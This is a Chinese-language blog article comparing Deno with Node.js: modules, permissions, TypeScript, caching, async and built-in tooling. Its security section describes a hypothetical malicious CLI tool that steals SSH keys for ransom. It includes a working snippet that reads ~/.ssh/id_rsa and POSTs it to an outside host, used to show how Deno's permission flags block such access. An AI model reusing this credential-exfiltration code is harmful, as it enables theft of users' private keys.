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Deno 正式发布,彻底弄明白和 node 的区别

前言

Deno 已经正式发布了🎉!

我说这句话时候,是不是很多前端 和 NodeJS 工(码)程(农)师已经按不住自己的40米大刀了。心中的不仅感慨前端是真的会造轮子,有了 node 还不够吗,还没学会 node 又搞了个 deno,node 和 deno 啥区别?!

的确,deno 和 node 形态很相似,要解决的问题似乎也相同,那他们到底有啥区别,这一切究竟是道德的沦丧还是 ry (作者)人性的扭曲,让我们走进本篇文章,一探究竟。

Deno VS Node

Node Deno
API 引用方式 模块导入 全局对象
模块系统 CommonJS & 新版 node 实验性 ES Module ES Module 浏览器实现
安全 无安全限制 默认安全
Typescript 第三方,如通过 ts-node 支持 原生支持
包管理 npm + node_modules 原生支持
异步操作 回调 Promise
包分发 中心化 npmjs.com 去中心化 import url
入口 package.json 配置 import url 直接引入
打包、测试、格式化 第三方如 eslint、gulp、webpack、babel 等 原生支持

1.内置 API 引用方式不同

node 模块导入

node 内置 API 通过模块导入的方式引用,例如:

const fs = require("fs");
fs.readFileSync("./data.txt");
复制代码

deno 全局对象

而 deno 则是一个全局对象 Deno 的属性和方法:

Deno.readFileSync("./data.txt");
复制代码

具体 deno 有哪些方法,我们可以通过 repl 看一下:

deno # 或 deno repl
复制代码

进入 repl 后,输入 Deno 回车,我们可以看到:

{
 Buffer: [Function: Buffer],
 readAll: [AsyncFunction: readAll],
 readAllSync: [Function: readAllSync],
 writeAll: [AsyncFunction: writeAll],
 writeAllSync: [Function: writeAllSync],
 # .....
}
复制代码

这种处理的方式好处是简单、方便,坏处是没有分类,想查找忘记的 API 比较困难。总体来说见仁见智。

2.模块系统

我们再来看一下模块系统,这也是 deno 和 node 差别最大的地方,同样也是 deno 和 node 不兼容的地方。

node CommonJS 规范

我们都知道 node 采用的是 CommonJS 规范,而 deno 则是采用的 ES Module 的浏览器实现,那么我们首先来认识一下:

ES Module 的浏览器实现

具体关于 ES Module 想必大家都早已熟知,但其浏览器实现可能大家还不是很熟悉,所以我们先看一下其浏览器实现:

<body>
  <!-- 注意这里一定要加上 type="module" -->
  <script type="module">
    // 从 URL 导入
    import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js";
    // 从相对路径导入
    import * as utils from "./utils.js";
    // 从绝对路径导入
    import "/index.js";

    // 不支持
    import foo from "foo.js";
    import bar from "bar/index.js";
    import zoo from "./index"; // 没有 .js 后缀
  </script>
</body>
复制代码

deno 的模块规范

deno 完全遵循 es module 浏览器实现,所以 deno 也是如此:

// 支持
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "/foo.ts";

// 不支持
import foo from "foo.ts";
import bar from "./bar"; // 必须指定扩展名
复制代码

我们发现其和我们平常在 webpack 或者 ts 使用 es module 最大的不同

  • 可以通过 import url 直接引用线上资源;

  • 资源不可省略扩展名和文件名。

关于第 1 点,争议非常大,有人很看好,觉得极大的扩展了 deno 库的范围;有人则不太看好,觉得国内网速的原因,并不实用。大家的看法如何,欢迎在评论区发表 🤔

3.安全

如果模块规范是 node 和 deno 最大的不同,那么对安全的处理,则是另外一个让人摸不着头脑的地方。

模拟盗号

在介绍之前我们先思考一下这个场景会不会出现:

我做了一个基于命令行的一键上网工具 breakwall,每月 1 个 G 免费流量,然后将压缩后的 JS 代码发布到 npm 上,然后后在各种渠道宣传一波。

羊毛党兴高彩烈的 cnpm install -g breakwall,然后每次使用的时候,我偷偷的将诸位的 ssh 密钥和各种能偷的文档及图片偷偷上传到我的服务器,在设定期限到期后,删除电脑上资料,留下一句拿钱换资料,仅支持比特币。

默认安全的 deno

如果你觉得以上情况有可能出现,则会觉得下面的功能很实用。我们先用 deno 执行以下代码:

// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");

rsa = new TextDecoder().decode(rsa);

fetch("http://jsonplaceholder.typicode.com/posts/1", {
  method: "POST",
  body: JSON.stringify(rsa)
})
  .then((res) => res.json())
  .then((res) => console.log("密钥发送成功,嘿嘿嘿😜"));

console.log("start breakwall...");
复制代码

PS: --unstable 是由于 Deno.dir API 不稳定

> deno run --unstable index.js
复制代码

我们将会得到如下报错信息:

> deno run --unstable  index.js
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
    ...
复制代码

意思就是权限异常,需要访问环境变量,需要加上 --allow-env,我们加上这个参数再试一下。

> deno run --unstable --allow-env index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag
    ...
复制代码

如此反复,还需加上 --allow-read--allow-net ,最终的结果是:

> deno run --unstable --allow-env --allow-read --allow-net  index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜
复制代码

经过一番折腾,总算是发送成功了,要想盗取密钥实属不易。

白名单

那有人就说了,如果我的应用确实需要访问网络和文件,但是有不想让它访问 .ssh 文件有没有办法?

当然有了,我们可以给 --allow-read--allow-net 指定白名单,名单之外都不可访问,例如:

> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.js
start breakwall...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag
    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)
    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)
    at async fetch ($deno$/web/fetch.ts:591:27)
复制代码

简化参数

如果确认是没问题,或者是自己开发软件时,图个方便,可以直接使用 -A--allow-all 参数允许所有权限:

> deno -A --unstable index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜
复制代码

安全这方面见仁见智,有人觉得是多余,有人觉得很好用,极大的增强了安全性。如果你属于觉得这个功能多余的,可以 deno run -A xxx 即可。

4.兼容浏览器 API

很多人不理解,为什么你一个服务端语言要兼容浏览器 API,以及怎么兼容。

为什么要兼容浏览器 API

关于为什么,我举个栗子大家就明白了:在设计 node 之处,关于输出函数本来叫 print 之类的,后来有人提议为什么不叫 console.log,ry 觉得挺不错,于是就接纳了意见。

但是,这个设计并不是刻意为之,而 deno 的设计则可以为之,通过与浏览器 API 保持一致,来减少大家的认知

怎么兼容浏览器 API

概念上兼容
  • 模块系统,从上面介绍看出 deno 是完全遵循浏览器实现的;

  • 默认安全,当然也不是自己创造的概念,w3c 早已做出浏览器权限的规定,我们在做小程序的时候尤为明显,需要获取各种权限;

  • 对于异步操作返回 Promise;

  • 使用 ArrayBuffer 处理二进制;

  • 等等...

存在 window 全局变量
console.log(window === this, window === self, window === globalThis);
复制代码
实现了 WindowOrWorkerGlobalScope 的全部方法

具体方法列表,我们可以参考:lib.deno.shared_globals.d.tslib.deno.window.d.ts

// 请求方法
fetch("https://baidu.com");

// base64 转化
let encodedData = btoa("Hello, world"); // 编码
let decodedData = atob(encodedData); // 解码

// 微任务
queueMicrotask(() => {
  console.log(123);
});

// 等等...
复制代码
大趋势

总体而言,如果服务端和浏览器端存在相同概念,deno 就不会创造新的概念。这一点其实 node 也在做,新的 node 14.0 CHANGELOG 就也提及要实现 Universal JavaScriptSpec compliance and Web Compatibility的思想,所以这点大家应该都会接受吧,毕竟大势所趋趋势。

5.支持 Typescript

不管你喜欢与否,2020 年了,必须学习 TS 了(起码在面试的时候是亮点)。学完之后你才会明白王境泽定律真的无处不在。

// index.ts
let str: string = "王境泽定律";
str = 132;
复制代码
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.

► file:///Users/zhangchaojie/Desktop/index.ts:2:1

2 str = 123
  ~~~
复制代码

6.去 node_modules

deno 没有 node_modules,那么它是怎么进行包管理的呢?我们先看下面的例子

// index.js
import { white, bgRed } from "https://deno.land/std/fmt/colors.ts";

console.log(bgRed(white("hello world!")));
复制代码
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!
复制代码

我们看到其有 DownloadCompile 两个步骤,我们会产生几个疑问:

1、每次执行都要下载吗?

解:我们只需要再执行一次就能明白,不需要每次下载。

> deno run index.js
hello world!
复制代码

2、Download 和 Compile 的文件在哪里呢?

解:我们会发现,当前执行的目录,并没有 Download 和 Compile 文件,那文件放在哪里呢,我们首先来看一下 deno --help 命令:

> deno --help
SUBCOMMANDS:
# ...
info           Show info about cache or info related to source file

# ...
ENVIRONMENT VARIABLES:
    DENO_DIR   Set deno's base directory (defaults to $HOME/.deno)
复制代码

deno info 命令展示了依赖关系,类似 package.json

> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
  └── https://deno.land/std/fmt/colors.ts
复制代码

DENO_DIR 则为实际的安装和编译目录,相当于 node_modules,默认为 $HOME/.deno(命令提示是这样的,但实际需要指定一下环境变量 export DENO_DIR=$HOME/.deno),我们看一下:

> tree $HOME/.deno
/Users/zhangchaojie/.deno
├── deps
│   └── https
│       └── deno.land
│           ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│           └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
    └── https
        └── deno.land
            └── std
                └── fmt
                    ├── colors.ts.js
                    ├── colors.ts.js.map
                    └── colors.ts.meta

8 directories, 5 files
复制代码

3、没网络了怎么办?

我们有些场景是将本地写好的代码部署到没有网络的服务器,那么当执行 deno run xxx 时,就是提示 error sending request。

解:将上面的缓存目录内容,直接拷贝到服务器并指定环境变量到其目录即可。

4、依赖代码更新了怎么办?

解:当依赖模块更新时,我们可以通过 --reload 进行更新缓存,例如:

> deno run --reload index.js
复制代码

我们还可以通过白名单的方式,只更新部分依赖。例如:

> deno run --reload=https://deno.land index.js
复制代码

5、仅缓存依赖,不执行代码有办法吗?

解:有的,我们可以通过 deno cache index.js 进行依赖缓存。

6、多版本怎么处理?

解:暂时没有好的解决方案,只能通过 git tag 的方式区分版本。

7.标准模块 与 node API 兼容

我们通过第 1 点可以看到,其实 deno 的 API 相对于 node 其实是少一些的,通过其文件大小也能看出来:

> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   42M   /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   70M   /usr/local/bin/node
复制代码

那这些少的 API 只能自己写或者求助于社区吗?

deno 对于自身相对于 node 少的和社区中常用的功能,提供了标准模块,其特点是不依赖非标准模块的内容,达到社区内的模块引用最后都收敛于标准模块的效果。例如:

// 类似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";

// 类似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";
复制代码

同时为了对 node 用户友好,提供了 node API 的兼容

import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";

console.log(path.resolve('./', './test'))
复制代码

所以,大家在为 deno 社区做贡献的时候,首先要看一下标准模块有没有提供类似的功能,如果已经提供了可以进行引用。

8.异步操作

根据 ry 自己是说法,在设计 node 是有人提议 Promise 处理回调,但是他没听,用他自己的话说就是愚蠢的拒绝了。

node 用回调的方式处理异步操作、deno 则选择用 Promise

// node 方式
const fs = require("fs");
fs.readFile("./data.txt", (err, data) => {
  if (err) throw err;
  console.log(data);
});
复制代码

另外 deno 支持 top-level-await,所以以上读取文件的代码可以为:

// deno 方式
const data = await Deno.readFile("./data.txt");
console.log(data);
复制代码

node 关于这方面也在一直改进,例如社区上很多 promisify 解决方案,通过包裹一层函数,实现目的。例如:

// node API promisify
const { promisify } = require("es6-promisify");
const fs = require("fs");

// 没有 top-level-await,只能包一层
async function main() {
  const readFile = promisify(fs.readFile);
  const data = await readFile("./data.txt");
  console.log(data);
}

main();
复制代码

9.单文件分发

我们知道 npm 包必须有 package.json 文件,里面不仅需要指明 mainmodulebrowser 等字段来标明入口文件,还需要指明 namelicensedescription 等字段来说明这个包。

ry 觉得这些字段扰乱了开发者的视听,所以在 deno 中,其模块不需要任何配置文件,直接是 import url 的形式。

10.去中心化仓库

对于 www.npmjs.com 我们肯定都不陌生,它是推动 node 蓬勃发展的重要支点。但作者认为它是中心化仓库,违背了互联网去中心化原则。

所以 deno 并没有一个像 npmjs.com 的仓库,通过 import url 的方式将互联网任何一处的代码都可以引用。

PS:deno 其实是有个基于 GitHub 的第三方模块集合

11.去开发依赖

我们在写一个 node 库或者工具时,开发依赖是少不了的,例如 babel 做转化和打包、jest 做测试、prettier 做代码格式化、eslint 做代码格式校检、gulp 或者 webpack 做构建等等,让我们在开发前就搞得筋疲力尽。

deno 通过内置了一些工具,解决上述问题。

  • deno bundle:打包命令,用来替换 babelgulp 一类工具: 例如:deno bundle ./mod.ts
  • deno fmt:格式化命令,用来替换 prettier 一类工具,例如:deno fmt ./mod.ts
  • deno test:运行测试代码,用来替换 jest 一类工具,例如 deno test ./test.ts
  • deno lint:代码校检(暂未实现),用来替换 eslint 一类工具,例如:deno lint ./mod.ts

后记

就像小时候一直幻想的炸弹始终没能炸了学校,技(轮)术(子)的进(制)步(造)一直也未停止过。不论我们学的动或者学不动,技术就在那里,不以人的意志为转移。

至于 deno 能不能火,我个人觉得起码一两年内不会有太大反响,之后和 node 的关系有可能像 Vue 和 react,有人喜欢用 deno,觉得比 node 好一万倍,有人则喜欢 node ,觉得 node 还能再战 500 年。至于最终学不学还看自己。

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